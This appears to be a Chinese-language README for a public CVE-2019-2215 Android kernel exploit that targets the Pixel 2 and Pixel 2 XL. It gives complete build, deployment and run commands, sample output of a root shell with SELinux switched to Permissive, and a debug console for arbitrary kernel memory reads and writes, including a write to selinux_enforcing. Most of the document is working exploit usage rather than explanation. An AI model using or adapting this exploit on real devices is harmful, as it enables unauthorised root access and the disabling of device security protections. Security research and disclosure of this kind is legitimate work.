演示一种仅通过内核内存读/写实现权限提升的攻击,最终获得临时 root shell。
该工具在 Google Pixel 2 / Pixel 2 XL(walleye/taimen)设备上运行,系统镜像为 2019 年 9 月的 QP1A.190711.020,内核版本-BuildID 4.4.177-g83bee1dc48e8。
要使该工具在其他受相同漏洞影响的设备和/或内核上工作,需要找到并更改一些偏移量。正如 Project Zero 漏洞追踪器 所述,这并不算太难。
此外还附带了一个 迷你调试控制台,它提供了一个类似十六进制编辑器的界面,用于接触内核内存,并能够生成一个 shell。
为了方便,附带了一个 Makefile,它可以与 Android NDK r19 或更高版本的交叉编译工具链一起使用。
# 下载 Android NDK。
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20-linux-x86_64.zip
# 解压 NDK 并将其路径设置为 $ANDROID_NDK_HOME。
user@host:~$ unzip android-ndk-r20-linux-x86_64.zip
user@host:~$ rm android-ndk-r20-linux-x86_64.zip # 可选
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20
# 克隆 `cve-2019-2215` 的 git 仓库并进入。
user@host:~$ git clone https://github.com/kangtastic/cve-2019-2215.git
user@host:~$ cd cve-2019-2215
# 编译二进制文件。
user@host:~/cve-2019-2215$ make all # all, clean, debug, debug-static, static, strip
user@host:~/cve-2019-2215$ file cve-2019-2215
cve-2019-2215: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /system/, stripped
编译好二进制文件后,将其传输到设备,设置为可执行,然后运行。(最好放在 /data/ 目录下。)
taimen:/ $ cd /data/local/tmp
taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
taimen:/data/local/tmp $ ./cve-2019-2215
Pixel 2 和 Pixel 2 XL 的临时 Root(利用 CVE-2019-2215)
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
[+] bypass SELinux and patch current credentials
taimen:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
taimen:/data/local/tmp # getenforce
Permissive
taimen:/data/local/tmp # exit
taimen:/data/local/tmp $
成功并不保证,设备甚至可能直接崩溃,但通常 SELinux 会被设置为 Permissive 并生成一个 root shell。
将 debug 作为唯一的命令行参数传递,以启动迷你调试控制台,而不是在实现内核 R/W 后执行权限提升例程。
debug> help
quick help
print
print kernel base address, some kernel symbol offsets,
and address of current task_struct as hexstrings
read <kaddr> <len>
read <len> bytes from <kaddr> and display as a hexdump
<kaddr> is a hexstring not prefixed with 0x
<len> is 1-4096 or 0x1-0x1000
write <kaddr> <data>
write <data> to <kaddr>
<kaddr> is a hexstring not prefixed with 0x
<data> is 1-4096 hexbytes, spaces ignored, to be written *AS-IS*
e.g. if kaddr 0xffffffffdeadbeef contains an int, and you want to set
its value to 1, enter 'write ffffffffdeadbeef <data>', where <data> is
'01000000', '0100 0000', '01 00 0 0 00', etc. (our ARM is little-endian)
shell
launch a shell (hint: did we ~somehow~ become another user? :P)
help
print this help
exit
exit debug console
以非特权用户身份将 SELinux 从 Permissive 设置回 Enforcing。
taimen:/data/local/tmp $ getenforce
Permissive
taimen:/data/local/tmp $ ./cve-2019-2215 debug
Pixel 2 和 Pixel 2 XL 的临时 Root(利用 CVE-2019-2215)
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
launching debug console, enter 'help' for quick help
debug> print
ffffff9bad880000 kernel_base
ffffff9baf8a57d0 init_task
ffffff9baf8af2c8 init_user_ns
ffffff9baf8e3780 selinux_enabled
ffffff9bafc4e4a8 selinux_enforcing
ffffffe6b2942b80 current
debug> read ffffff9bafc4e4a8 35
ffffff9bafc4e4a8: 0000 0000 0100 0000 002e 40b9 faff ffff ..........@.....
ffffff9bafc4e4b8: 0023 40b9 faff ffff 0000 0000 0000 0000 .#@.............
ffffff9bafc4e4c8: 0000 00 ...
debug> write ffffff9bafc4e4a8 01 00 00 00
debug> read ffffff9bafc4e4a8 4
ffffff9bafc4e4a8: 0100 0000 ....
debug> exit
taimen:/data/local/tmp $ getenforce
Enforcing
taimen:/data/local/tmp $